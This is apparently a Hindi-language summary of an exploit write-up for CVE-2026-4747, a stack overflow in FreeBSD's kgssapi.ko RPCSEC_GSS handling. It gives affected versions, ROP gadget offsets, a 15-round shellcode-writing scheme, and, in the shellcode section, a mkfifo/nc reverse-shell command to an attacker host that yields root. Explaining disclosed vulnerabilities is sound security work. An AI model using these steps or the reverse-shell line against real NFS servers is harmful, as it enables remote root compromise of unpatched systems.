• FreeBSD के kgssapi.ko मॉड्यूल में RPCSEC_GSS authentication प्रोसेसिंग के दौरान stack buffer overflow होता है, जिससे remote code execution संभव है
  • svc_rpc_gss_validate() फ़ंक्शन boundary check के बिना credential data copy करता है, जिससे return address तक overwrite हो जाता है
  • हमलावर वैध Kerberos ticket का उपयोग करके NFS सर्वर के RPCSEC_GSS path के ज़रिए kernel ROP chain inject कर सकता है
  • 15-स्टेज overflow के ज़रिए kernel BSS region में 432-byte shellcode लिखकर चलाया जाता है, जिससे root privilege वाला reverse shell बनता है
  • FreeBSD 13.5~15.0 के कुछ versions प्रभावित हैं, और patch में oa_length validation logic जोड़ी गई है

CVE-2026-4747 — FreeBSD kgssapi.ko RPCSEC_GSS stack buffer overflow

  • FreeBSD के kgssapi.ko मॉड्यूल में RPCSEC_GSS authentication प्रोसेसिंग के दौरान होने वाली stack buffer overflow vulnerability
  • svc_rpc_gss_validate() फ़ंक्शन RPC header को 128-byte stack buffer में reconstruct करते समय oa_length पर boundary check के बिना credential data copy करता है
  • 32-byte fixed header के बाद बचे 96 bytes से बड़े credentials local variables, saved registers, और return address तक overwrite कर देते हैं
  • FreeBSD 13.5(<p11), 14.3(<p10), 14.4(<p1), 15.0(<p5) versions प्रभावित हैं
  • patch में copy से पहले यह जाँचने के लिए condition जोड़ी गई है कि oa_length buffer size से बड़ा है या नहीं

Overflow की संरचना और प्रभाव

  • function prologue analysis के अनुसार rpchdr array [rbp-0xc0] पर है, और copy की शुरुआत [rbp-0xa0] से होती है
  • 96 bytes के बाद saved RBX, R12~R15, RBP, और फिर return address क्रम से overwrite होते हैं
  • वास्तविक attack में GSS header और 16-byte context handle की वजह से return address credential body के 200वें byte पर स्थित होता है
  • vulnerable code तक पहुँचना केवल NFS सर्वर के RPCSEC_GSS authentication path में संभव है
  • हमलावर के पास वैध Kerberos ticket वाला user होना चाहिए, और overflow RPCSEC_GSS authentication (DATA procedure) चरण में trigger होता है

Attack environment setup

  • Target VM: FreeBSD 14.4-RELEASE amd64, NFS server enabled, kgssapi.ko loaded, MIT Kerberos KDC running
  • Attacker host: Linux, Python3 gssapi module और MIT Kerberos client installed, NFS(2049/TCP) और KDC(88/TCP) तक access संभव
  • QEMU, VMware, VirtualBox, bhyve जैसे विभिन्न hypervisor environments में setup किया जा सकता है
  • Kerberos configuration में krb5.conf की rdns=false, dns_canonicalize_hostname=false settings आवश्यक हैं
  • VM और attacker के बीच hostname (test) और service principal (nfs/test@TEST.LOCAL) का मेल होना चाहिए

Remote kernel code execution (RCE) exploit की संरचना

  • attack 15 rounds के multi-stage overflow से बना है
    1. हर round में नया Kerberos GSS context बनाया जाता है
    2. oversized RPCSEC_GSS DATA packet भेजा जाता है
    3. return address को ROP gadget से overwrite करके kernel memory में data लिखा जाता है या shellcode चलाया जाता है
    4. kthread_exit() call करके NFS thread को सामान्य रूप से समाप्त किया जाता है
  • हर round में लगभग 200-byte ROP chain उपयोग होती है, और कुल 432-byte shellcode 15 rounds में भेजा जाता है
  • FreeBSD CPU प्रति 8 NFS threads बनाता है, इसलिए कम-से-कम 2 CPU (16 threads) चाहिए

ROP chain की संरचना

  • प्रमुख ROP gadgets:
    • pop rdi; ret (K+0x1adcda)
    • pop rsi; ret (K+0x1cdf98)
    • pop rdx; ret (K+0x5fa429)
    • pop rax; ret (K+0x400cb4)
    • mov [rdi], rax; ret (0xffffffff80e3457c) — मनचाही kernel memory में 8 bytes लिखना
  • Round 1: pmap_change_prot() call करके kernel BSS region को RWX बनाया जाता है
  • Rounds 2–14: mov [rdi], rax gadget का उपयोग करके BSS में shellcode 32 bytes करके लिखा जाता है
  • Round 15: आख़िरी 16 bytes लिखने के बाद shellcode entry point पर jump किया जाता है

Shellcode का व्यवहार

  • यह kernel mode (CPL 0) में चलता है और root privilege वाला reverse shell process बनाता है
  • NFS kernel thread से सीधे execve() call संभव नहीं होने के कारण 2-stage structure इस्तेमाल होती है
    • Entry function: kproc_create() से नया kernel process बनाकर exit
    • Worker function: /bin/sh -c "mkfifo /tmp/f;sh</tmp/f|nc ATTACKER 4444>/tmp/f" चलाना
  • DR7 register initialization से debug exceptions रोकी जाती हैं
  • P_KPROC flag हटाकर fork_exit() को kthread_exit() की बजाय userret path पर ले जाया जाता है
  • नतीजतन /bin/sh user mode में uid 0(root) privilege के साथ चलता है

मुख्य समस्या-समाधान प्रक्रिया

  • Register offset mismatch: वास्तविक RIP offset 200 bytes है, यह De Bruijn pattern से पुष्टि हुई
  • MIT–Heimdal GSS incompatibility: hostname normalization समस्या को krb5.conf settings से हल किया गया
  • Debug register inheritance: DR7 initialization से trap 1 exception रोकी गई
  • 400-byte limit: pop rdi + pop rax + mov [rdi], rax संयोजन से 8-byte units में स्थिर ट्रांसफ़र संभव हुआ
  • NFS thread consumption: हर round में 1 thread समाप्त होता है → इसलिए कम-से-कम 2 CPU चाहिए

अंतिम exploit flow का सारांश

  • हमलावर Kerberos ticket हासिल करने के बाद 15 RPCSEC_GSS overflow packets क्रम से भेजता है
  • 1ला round: BSS को RWX सेट करना
  • 2–14 rounds: shellcode के 416 bytes लिखना
  • 15वाँ round: आख़िरी 16 bytes लिखना और shellcode चलाना
  • shellcode kproc_create() से नया process बनाता है और /bin/sh चलाता है
  • हमलावर की तरफ़ nc session के ज़रिए root shell हासिल होता है
  • पूरा process लगभग 45 seconds लेता है, और कुल 15 RPC packets में पूरा हो जाताा है

अभी कोई टिप्पणी नहीं है.

अभी कोई टिप्पणी नहीं है.